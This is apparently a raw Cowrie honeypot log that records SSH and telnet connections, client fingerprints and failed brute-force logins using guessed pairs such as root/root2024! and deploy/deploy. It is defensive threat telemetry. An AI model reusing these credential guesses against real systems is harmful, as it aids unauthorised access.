{"eventid":"cowrie.session.connect","src_ip":"195.86.192.66","src_port":33704,"dst_ip":"10.17.0.5","dst_port":22,"session":"47647a7a6aaa","protocol":"ssh","message":"New connection: 195.86.192.66:33704 (10.17.0.5:22) [session: 47647a7a6aaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:25:30.017256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:25:30.021898Z","src_ip":"195.86.192.66","session":"47647a7a6aaa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:25:30.248614Z","src_ip":"195.86.192.66","session":"47647a7a6aaa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"1","message":"login attempt [ansible/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:25:31.186157Z","src_ip":"195.86.192.66","session":"47647a7a6aaa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:25:32.414859Z","src_ip":"195.86.192.66","session":"47647a7a6aaa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.237.244.154","src_port":49824,"dst_ip":"10.17.0.5","dst_port":22,"session":"660457a6147c","protocol":"ssh","message":"New connection: 77.237.244.154:49824 (10.17.0.5:22) [session: 660457a6147c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:26:04.866171Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:26:04.870058Z","src_ip":"77.237.244.154","session":"660457a6147c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:26:04.964844Z","src_ip":"77.237.244.154","session":"660457a6147c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"letmein#@!$%^&*()!","message":"login attempt [root/letmein#@!$%^&*()!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:26:05.242150Z","src_ip":"77.237.244.154","session":"660457a6147c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:26:06.336733Z","src_ip":"77.237.244.154","session":"660457a6147c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.118.127.138","src_port":54176,"dst_ip":"159.203.135.109","dst_port":22,"session":"53449c6a4a71","protocol":"ssh","message":"New connection: 175.118.127.138:54176 (159.203.135.109:22) [session: 53449c6a4a71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:26:11.785590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:26:11.789493Z","src_ip":"175.118.127.138","session":"53449c6a4a71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:26:11.968715Z","src_ip":"175.118.127.138","session":"53449c6a4a71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root2024!","message":"login attempt [root/root2024!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:26:12.722574Z","src_ip":"175.118.127.138","session":"53449c6a4a71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:26:13.904234Z","src_ip":"175.118.127.138","session":"53449c6a4a71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":34044,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8a64cc3e482","protocol":"ssh","message":"New connection: 91.92.40.4:34044 (10.17.0.5:22) [session: d8a64cc3e482]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:26:20.442672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:26:20.524454Z","src_ip":"91.92.40.4","session":"d8a64cc3e482","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:26:20.650620Z","src_ip":"91.92.40.4","session":"d8a64cc3e482","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy","message":"login attempt [deploy/deploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:26:21.335129Z","src_ip":"91.92.40.4","session":"d8a64cc3e482","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:26:22.444432Z","src_ip":"91.92.40.4","session":"d8a64cc3e482","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.34.123","src_port":43880,"dst_ip":"10.17.0.5","dst_port":22,"session":"687472e3a7a5","protocol":"ssh","message":"New connection: 162.144.34.123:43880 (10.17.0.5:22) [session: 687472e3a7a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:26:24.882487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:26:24.886706Z","src_ip":"162.144.34.123","session":"687472e3a7a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:26:24.977823Z","src_ip":"162.144.34.123","session":"687472e3a7a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"convex2024","message":"login attempt [root/convex2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:26:25.252092Z","src_ip":"162.144.34.123","session":"687472e3a7a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.18.133","src_port":56288,"dst_ip":"159.203.135.109","dst_port":22,"session":"2dfe8226f561","protocol":"ssh","message":"New connection: 157.230.18.133:56288 (159.203.135.109:22) [session: 2dfe8226f561]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:26:25.518472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:26:25.523221Z","src_ip":"157.230.18.133","session":"2dfe8226f561","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:26:25.610087Z","src_ip":"157.230.18.133","session":"2dfe8226f561","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethics","password":"ethics","message":"login attempt [ethics/ethics] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:26:25.984542Z","src_ip":"157.230.18.133","session":"2dfe8226f561","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:26:26.635685Z","src_ip":"162.144.34.123","session":"687472e3a7a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":40674,"dst_ip":"159.203.135.109","dst_port":22,"session":"0bb2477e77bb","protocol":"ssh","message":"New connection: 103.15.222.183:40674 (159.203.135.109:22) [session: 0bb2477e77bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:26:26.860988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:26:26.864387Z","src_ip":"103.15.222.183","session":"0bb2477e77bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:26:27.070718Z","src_ip":"157.230.18.133","session":"2dfe8226f561","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:26:27.094508Z","src_ip":"103.15.222.183","session":"0bb2477e77bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19091994","message":"login attempt [root/19091994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:26:27.787008Z","src_ip":"103.15.222.183","session":"0bb2477e77bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:26:29.019430Z","src_ip":"103.15.222.183","session":"0bb2477e77bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":43308,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d6f302a280f","protocol":"telnet","message":"New connection: 170.64.224.25:43308 (159.203.135.109:23) [session: 9d6f302a280f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:26:30.912448Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.132.172","src_port":41732,"dst_ip":"159.203.135.109","dst_port":22,"session":"a71edfedceb3","protocol":"ssh","message":"New connection: 162.241.132.172:41732 (159.203.135.109:22) [session: a71edfedceb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:26:32.887195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:26:32.891732Z","src_ip":"162.241.132.172","session":"a71edfedceb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:26:32.917937Z","src_ip":"162.241.132.172","session":"a71edfedceb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yield2024","message":"login attempt [root/yield2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:26:32.996061Z","src_ip":"162.241.132.172","session":"a71edfedceb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:26:34.025269Z","src_ip":"162.241.132.172","session":"a71edfedceb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":46060,"dst_ip":"10.17.0.5","dst_port":22,"session":"d62ebf17803e","protocol":"ssh","message":"New connection: 103.77.242.62:46060 (10.17.0.5:22) [session: d62ebf17803e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:26:36.376923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:26:36.381602Z","src_ip":"103.77.242.62","session":"d62ebf17803e","protocol":"ssh"}
